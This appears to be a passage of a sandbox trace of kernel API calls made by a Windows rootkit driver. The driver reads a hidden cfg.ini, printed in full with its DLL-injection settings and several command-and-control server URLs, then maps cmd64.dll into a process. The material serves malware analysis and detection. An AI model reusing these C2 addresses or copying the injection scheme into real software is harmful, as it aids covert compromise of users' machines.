FileHandle=0xfffff88002f9db18*=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0086.936] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.936] KeEnterCriticalRegion () [0086.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.936] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0086.936] IdePortDispatch () returned 0x103 [0086.936] KeWaitForMutexObject () returned 0x0 [0086.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0086.936] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0086.936] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0086.936] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0086.936] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800367e7f0 [0086.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.936] KeLeaveCriticalRegion () [0086.936] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.937] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0086.937] NtLockFile (in: FileHandle=0xffffffff800004b0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0086.937] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.937] KeEnterCriticalRegion () [0086.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0086.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.937] KeLeaveCriticalRegion () [0086.937] ZwQueryInformationFile (in: FileHandle=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0086.937] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.937] KeEnterCriticalRegion () [0086.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa80037baa70 [0086.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0086.937] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0086.937] IdePortDispatch () returned 0x103 [0086.937] KeWaitForMutexObject () returned 0x0 [0086.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0086.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.937] KeLeaveCriticalRegion () [0086.937] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.937] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a00145cdf0 [0086.937] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0086.937] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0086.937] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="dllhost.exe (x64)=") returned 18 [0086.937] _strlwr (in: _Str="dllhost.exe (x64)=" | out: _Str="dllhost.exe (x64)=") returned="dllhost.exe (x64)=" [0086.937] ZwReadFile (in: FileHandle=0xffffffff800004b0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00145cdf0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00145cdf0*) returned 0x0 [0086.937] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.937] KeEnterCriticalRegion () [0086.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.937] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e5df0 [0086.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa8008136f40 [0086.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0086.937] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0086.937] IdePortDispatch () returned 0x103 [0086.938] KeWaitForMutexObject () returned 0x0 [0086.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0086.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037ce420 [0086.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037ce420 | out: Irp=0xfffffa80037ce420) returned 0xfffffa8008136f40 [0086.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0086.938] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0086.938] IdePortDispatch () returned 0x103 [0086.938] KeWaitForMutexObject () returned 0x0 [0086.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.938] KeLeaveCriticalRegion () [0086.938] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.938] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0086.938] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="dllhost.exe (x64)=") returned 0x0 [0086.938] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0086.938] ExFreePoolWithTag (P=0xfffff8a00145cdf0, Tag=0x0) [0086.938] ZwClose (Handle=0xffffffff800004b0) returned 0x0 [0086.938] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.938] KeEnterCriticalRegion () [0086.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.938] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0086.938] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80081368a0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0086.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.938] KeLeaveCriticalRegion () [0086.938] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.938] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0086.938] KeEnterCriticalRegion () [0086.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.938] ExFreePoolWithTag (P=0xfffffa800367e7f0, Tag=0x0) [0086.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0086.939] KeLeaveCriticalRegion () [0086.939] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0086.939] ZwClose (Handle=0xffffffff800004b4) returned 0x0 [0086.939] KeSetEvent (in: Event=0xfffffa80037ce6c0, Increment=0x0, Wait=0 | out: Event=0xfffffa80037ce6c0) returned 0 [0088.050] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x3bc, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004bc) returned 0x0 [0088.050] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0088.050] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0088.050] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.050] KeEnterCriticalRegion () [0088.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.050] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0088.050] IdePortDispatch () returned 0x103 [0088.051] KeWaitForMutexObject () returned 0x0 [0088.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.051] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0088.051] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0088.051] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0088.051] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ddea0 [0088.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.051] KeLeaveCriticalRegion () [0088.051] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.051] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0088.051] NtLockFile (in: FileHandle=0xffffffff800004b0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0088.051] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.051] KeEnterCriticalRegion () [0088.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80037c7bb0, Context=0x0) returned 0x0 [0088.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.051] KeLeaveCriticalRegion () [0088.051] ZwQueryInformationFile (in: FileHandle=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0088.051] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.051] KeEnterCriticalRegion () [0088.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.051] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0088.051] IdePortDispatch () returned 0x103 [0088.051] KeWaitForMutexObject () returned 0x0 [0088.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.051] KeLeaveCriticalRegion () [0088.051] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.052] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a00146ee40 [0088.052] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0088.052] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0088.052] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0088.052] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0088.052] ZwReadFile (in: FileHandle=0xffffffff800004b0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00146ee40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a00146ee40*) returned 0x0 [0088.052] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.052] KeEnterCriticalRegion () [0088.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be6e40 [0088.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.052] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.052] IdePortDispatch () returned 0x103 [0088.052] KeWaitForMutexObject () returned 0x0 [0088.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0088.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa8008136f40 [0088.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8008136f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8008136f40) [0088.052] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0088.052] IdePortDispatch () returned 0x103 [0088.052] KeWaitForMutexObject () returned 0x0 [0088.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.052] KeLeaveCriticalRegion () [0088.052] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.052] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0088.052] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0088.052] strncpy (in: _Dest=0xfffffa80037e1a64, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0088.052] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0088.053] ExFreePoolWithTag (P=0xfffff8a00146ee40, Tag=0x0) [0088.053] ZwClose (Handle=0xffffffff800004b0) returned 0x0 [0088.053] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.053] KeEnterCriticalRegion () [0088.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.053] IoGetRequestorProcess (Irp=0xfffffa80037c7bb0) returned 0xfffffa80018ab040 [0088.053] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80037e1710, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0088.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.053] KeLeaveCriticalRegion () [0088.053] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.053] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0088.053] KeEnterCriticalRegion () [0088.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.053] ExFreePoolWithTag (P=0xfffffa80037ddea0, Tag=0x0) [0088.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.053] KeLeaveCriticalRegion () [0088.053] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.053] KeStackAttachProcess (in: PROCESS=0xfffffa80037e0800, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80037e0800, ApcState=0xfffff88002f9da58) [0088.053] _snwprintf (in: _Dest=0xfffffa80037e185c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0088.053] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0088.053] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004b0, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0088.053] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.053] KeEnterCriticalRegion () [0088.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.053] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0088.053] IdePortDispatch () returned 0x103 [0088.053] KeWaitForMutexObject () returned 0x0 [0088.053] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0088.053] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0088.053] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.053] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.053] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.053] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.053] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0088.053] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0088.053] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.054] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0088.054] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d7890 [0088.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.054] KeLeaveCriticalRegion () [0088.054] IofCompleteRequest (Irp=0xfffffa80037c7bb0, PriorityBoost=0) [0088.054] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004b0 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0088.054] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0088.054] KeEnterCriticalRegion () [0088.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0088.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80037d6160 [0088.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80037d6160 | out: Irp=0xfffffa80037d6160) returned 0xfffffa80037baa70 [0088.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80037baa70, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80037baa70) [0088.054] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0088.054] IdePortDispatch () returned 0x103 [0088.054] KeWaitForMutexObject () returned 0x0 [0088.054] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0088.054] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0088.054] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0088.054] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 